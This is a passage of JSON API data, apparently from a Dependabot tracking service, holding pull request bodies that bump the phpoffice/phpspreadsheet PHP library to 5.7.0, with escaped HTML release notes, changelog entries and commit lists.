href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4822\"\u003e#4822\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4822\"\u003ePHPOffice/PhpSpreadsheet#4822\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXlsx Writer Data URI for Images. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4823\"\u003e#4823\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4823\"\u003ePHPOffice/PhpSpreadsheet#4823\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4831\"\u003e#4831\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4831\"\u003ePHPOffice/PhpSpreadsheet#4831\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eConfusion Checking for Union Arguments. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4832\"\u003e#4832\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4832\"\u003ePHPOffice/PhpSpreadsheet#4832\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4835\"\u003e#4835\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4835\"\u003ePHPOffice/PhpSpreadsheet#4835\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReader Xlsx Hyperlink with Anchor. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4842\"\u003e#4842\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4842\"\u003ePHPOffice/PhpSpreadsheet#4842\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4843\"\u003e#4843\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4843\"\u003ePHPOffice/PhpSpreadsheet#4843\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2026-02-28 - 5.5.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eMuch improved handling of Styles by Ods Reader. The relevant changes are listed at the end of the \u0026quot;Fixed\u0026quot; section below.\u003c/li\u003e\n\u003cli\u003eOption to use OldCalculatedValue in ToArray and Relatives. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1810\"\u003e#1810\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1810\"\u003ePHPOffice/PhpSpreadsheet#1810\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4787\"\u003e#4787\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4787\"\u003ePHPOffice/PhpSpreadsheet#4787\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd checkbox style (Xlsx and Html). [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4781\"\u003e#4781\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4781\"\u003ePHPOffice/PhpSpreadsheet#4781\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOption to whitelist external images. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4793\"\u003e#4793\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4793\"\u003ePHPOffice/PhpSpreadsheet#4793\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eWriter/Html add ability to set line ending. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4779\"\u003e#4779\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4779\"\u003ePHPOffice/PhpSpreadsheet#4779\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/9f55d3b9b7bcb1084fda8340e4b7ce4ed10cd0c8\"\u003e\u003ccode\u003e9f55d3b\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4859\"\u003e#4859\u003c/a\u003e from oleibman/updchangelog20260419\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/2e35213f2a5c8430f8f46294e7d472c30cf123be\"\u003e\u003ccode\u003e2e35213\u003c/code\u003e\u003c/a\u003e Update Changelog for New Release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/9019a9c9da1daee02d55c40f45f23a3c7eba5b62\"\u003e\u003ccode\u003e9019a9c\u003c/code\u003e\u003c/a\u003e Merge commit from fork\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/f1eb4e6980d537ec85fc20be5950f9ad65d47ffd\"\u003e\u003ccode\u003ef1eb4e6\u003c/code\u003e\u003c/a\u003e Merge commit from fork\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/9b90dee03deb0d28761479c4a3a06fba5f7e012e\"\u003e\u003ccode\u003e9b90dee\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4857\"\u003e#4857\u003c/a\u003e from oleibman/changelog20260406\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/f302b3265a3c471438192eea5a8cca26c1d52e88\"\u003e\u003ccode\u003ef302b32\u003c/code\u003e\u003c/a\u003e Prepare Changelog For New Release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/4a476071b3e0d633906251d95e73ad7464a32337\"\u003e\u003ccode\u003e4a47607\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4850\"\u003e#4850\u003c/a\u003e from oleibman/updatestan\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/8a9e9b561043ad5c9ed869a9c9b6658a7b1c50c3\"\u003e\u003ccode\u003e8a9e9b5\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4845\"\u003e#4845\u003c/a\u003e from oleibman/csvnonutf8\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/5d6d7d537f941ecfff5990f33558bad74d075be5\"\u003e\u003ccode\u003e5d6d7d5\u003c/code\u003e\u003c/a\u003e Merge branch 'master' into csvnonutf8\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/6f23fe3d8c3b2604360bbc4d1778a1f41d6c1d52\"\u003e\u003ccode\u003e6f23fe3\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4844\"\u003e#4844\u003c/a\u003e from oleibman/xlookup\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/compare/2.0.0...5.7.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/thermiteplasma/loom/pull/5","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/thermiteplasma%2Floom/issues/5","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/5/packages"}},{"old_version":"5.5.0","new_version":"5.7.0","update_type":"minor","path":"/backend","pr_created_at":"2026-04-26T06:52:33.000Z","version_change":"5.5.0 → 5.7.0","issue":{"uuid":"4330250523","node_id":"PR_kwDORLTA5c7VsSP2","number":35,"state":"closed","title":"chore(deps)(deps): bump phpoffice/phpspreadsheet from 5.5.0 to 5.7.0 in /backend","user":"dependabot[bot]","labels":[],"assignees":[],"locked":false,"comments_count":3,"pull_request":true,"closed_at":"2026-04-26T17:52:55.000Z","author_association":null,"state_reason":null,"created_at":"2026-04-26T06:52:33.000Z","updated_at":"2026-04-26T17:52:57.000Z","time_to_close":39622,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps)(deps)","packages":[{"name":"phpoffice/phpspreadsheet","old_version":"5.5.0","new_version":"5.7.0","repository_url":"https://github.com/PHPOffice/PhpSpreadsheet"}],"path":"/backend","ecosystem":"packagist"},"body":"Bumps [phpoffice/phpspreadsheet](https://github.com/PHPOffice/PhpSpreadsheet) from 5.5.0 to 5.7.0.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/releases\"\u003ephpoffice/phpspreadsheet's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e5.7.0\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSecurity patches.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e5.6.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eMake Reader/Csv Extendable, add new preferred Reader/CsvNoEscape class. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4836\"\u003e#4836\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4836\"\u003ePHPOffice/PhpSpreadsheet#4836\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4837\"\u003e#4837\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4837\"\u003ePHPOffice/PhpSpreadsheet#4837\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4845\"\u003e#4845\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4845\"\u003ePHPOffice/PhpSpreadsheet#4845\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXLOOKUP function. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1453\"\u003e#1453\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1453\"\u003ePHPOffice/PhpSpreadsheet#1453\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4844\"\u003e#4844\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4844\"\u003ePHPOffice/PhpSpreadsheet#4844\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eIntroduction of a benchmark test suite, independent of the default unit test suite. Users can use it as a template for experimenting and making decisions concerning performance. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4824\"\u003e#4824\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4824\"\u003ePHPOffice/PhpSpreadsheet#4824\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCollection/Cells::MAX_COLUMN_ID - use Cell/AddressRange::MAX_COLUMN_INT.\u003c/li\u003e\n\u003cli\u003eWriter/Xls/Worksheet constants MAX_XLS_COLUMN, MAX_XLS_COLUMN_STRING, MAX_XLS_ROW - use Cell/AddressRange MAX_COLUMN_INT_XLS, MAX_COLUMN_XLS, MAX_ROW_XLS\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eConsistent handling of row and column limits. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4820\"\u003e#4820\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4820\"\u003ePHPOffice/PhpSpreadsheet#4820\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eProblems with Html Conditional Formatting Colorscale. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4838\"\u003e#4838\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4838\"\u003ePHPOffice/PhpSpreadsheet#4838\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4839\"\u003e#4839\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4839\"\u003ePHPOffice/PhpSpreadsheet#4839\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed an issue where Date detection could misclassify invalid numeric values as dates. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4841\"\u003e#4841\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4841\"\u003ePHPOffice/PhpSpreadsheet#4841\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOds Reader/Writer Integer Styles with Leading Zeros. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1606\"\u003e#1606\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1606\"\u003ePHPOffice/PhpSpreadsheet#1606\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4822\"\u003e#4822\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4822\"\u003ePHPOffice/PhpSpreadsheet#4822\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXlsx Writer Data URI for Images. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4823\"\u003e#4823\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4823\"\u003ePHPOffice/PhpSpreadsheet#4823\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4831\"\u003e#4831\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4831\"\u003ePHPOffice/PhpSpreadsheet#4831\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eConfusion Checking for Union Arguments. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4832\"\u003e#4832\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4832\"\u003ePHPOffice/PhpSpreadsheet#4832\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4835\"\u003e#4835\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4835\"\u003ePHPOffice/PhpSpreadsheet#4835\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReader Xlsx Hyperlink with Anchor. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4842\"\u003e#4842\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4842\"\u003ePHPOffice/PhpSpreadsheet#4842\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4843\"\u003e#4843\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4843\"\u003ePHPOffice/PhpSpreadsheet#4843\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/blob/master/CHANGELOG.md\"\u003ephpoffice/phpspreadsheet's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2026-04-19 - 5.7.0\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSecurity patches.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2026-04-09 - 5.6.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eMake Reader/Csv Extendable, add new preferred Reader/CsvNoEscape class. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4836\"\u003e#4836\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4836\"\u003ePHPOffice/PhpSpreadsheet#4836\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4837\"\u003e#4837\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4837\"\u003ePHPOffice/PhpSpreadsheet#4837\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4845\"\u003e#4845\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4845\"\u003ePHPOffice/PhpSpreadsheet#4845\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXLOOKUP function. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1453\"\u003e#1453\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1453\"\u003ePHPOffice/PhpSpreadsheet#1453\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4844\"\u003e#4844\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4844\"\u003ePHPOffice/PhpSpreadsheet#4844\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eIntroduction of a benchmark test suite, independent of the default unit test suite. Users can use it as a template for experimenting and making decisions concerning performance. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4824\"\u003e#4824\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4824\"\u003ePHPOffice/PhpSpreadsheet#4824\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eRemoved\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eNothing yet.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eNothing yet.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eMoved\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eNothing yet.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCollection/Cells::MAX_COLUMN_ID - use Cell/AddressRange::MAX_COLUMN_INT.\u003c/li\u003e\n\u003cli\u003eWriter/Xls/Worksheet constants MAX_XLS_COLUMN, MAX_XLS_COLUMN_STRING, MAX_XLS_ROW - use Cell/AddressRange MAX_COLUMN_INT_XLS, MAX_COLUMN_XLS, MAX_ROW_XLS\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eConsistent handling of row and column limits. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4820\"\u003e#4820\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4820\"\u003ePHPOffice/PhpSpreadsheet#4820\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eProblems with Html Conditional Formatting Colorscale. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4838\"\u003e#4838\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4838\"\u003ePHPOffice/PhpSpreadsheet#4838\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4839\"\u003e#4839\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4839\"\u003ePHPOffice/PhpSpreadsheet#4839\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed an issue where Date detection could misclassify invalid numeric values as dates. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4841\"\u003e#4841\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4841\"\u003ePHPOffice/PhpSpreadsheet#4841\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOds Reader/Writer Integer Styles with Leading Zeros. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1606\"\u003e#1606\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1606\"\u003ePHPOffice/PhpSpreadsheet#1606\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4822\"\u003e#4822\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4822\"\u003ePHPOffice/PhpSpreadsheet#4822\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXlsx Writer Data URI for Images. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4823\"\u003e#4823\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4823\"\u003ePHPOffice/PhpSpreadsheet#4823\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4831\"\u003e#4831\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4831\"\u003ePHPOffice/PhpSpreadsheet#4831\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eConfusion Checking for Union Arguments. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4832\"\u003e#4832\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4832\"\u003ePHPOffice/PhpSpreadsheet#4832\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4835\"\u003e#4835\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4835\"\u003ePHPOffice/PhpSpreadsheet#4835\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReader Xlsx Hyperlink with Anchor. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4842\"\u003e#4842\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4842\"\u003ePHPOffice/PhpSpreadsheet#4842\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4843\"\u003e#4843\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4843\"\u003ePHPOffice/PhpSpreadsheet#4843\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/9f55d3b9b7bcb1084fda8340e4b7ce4ed10cd0c8\"\u003e\u003ccode\u003e9f55d3b\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4859\"\u003e#4859\u003c/a\u003e from oleibman/updchangelog20260419\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/2e35213f2a5c8430f8f46294e7d472c30cf123be\"\u003e\u003ccode\u003e2e35213\u003c/code\u003e\u003c/a\u003e Update Changelog for New Release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/9019a9c9da1daee02d55c40f45f23a3c7eba5b62\"\u003e\u003ccode\u003e9019a9c\u003c/code\u003e\u003c/a\u003e Merge commit from fork\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/f1eb4e6980d537ec85fc20be5950f9ad65d47ffd\"\u003e\u003ccode\u003ef1eb4e6\u003c/code\u003e\u003c/a\u003e Merge commit from fork\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/9b90dee03deb0d28761479c4a3a06fba5f7e012e\"\u003e\u003ccode\u003e9b90dee\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4857\"\u003e#4857\u003c/a\u003e from oleibman/changelog20260406\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/f302b3265a3c471438192eea5a8cca26c1d52e88\"\u003e\u003ccode\u003ef302b32\u003c/code\u003e\u003c/a\u003e Prepare Changelog For New Release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/4a476071b3e0d633906251d95e73ad7464a32337\"\u003e\u003ccode\u003e4a47607\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4850\"\u003e#4850\u003c/a\u003e from oleibman/updatestan\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/8a9e9b561043ad5c9ed869a9c9b6658a7b1c50c3\"\u003e\u003ccode\u003e8a9e9b5\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4845\"\u003e#4845\u003c/a\u003e from oleibman/csvnonutf8\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/5d6d7d537f941ecfff5990f33558bad74d075be5\"\u003e\u003ccode\u003e5d6d7d5\u003c/code\u003e\u003c/a\u003e Merge branch 'master' into csvnonutf8\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/6f23fe3d8c3b2604360bbc4d1778a1f41d6c1d52\"\u003e\u003ccode\u003e6f23fe3\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4844\"\u003e#4844\u003c/a\u003e from oleibman/xlookup\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/compare/5.5.0...5.7.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility 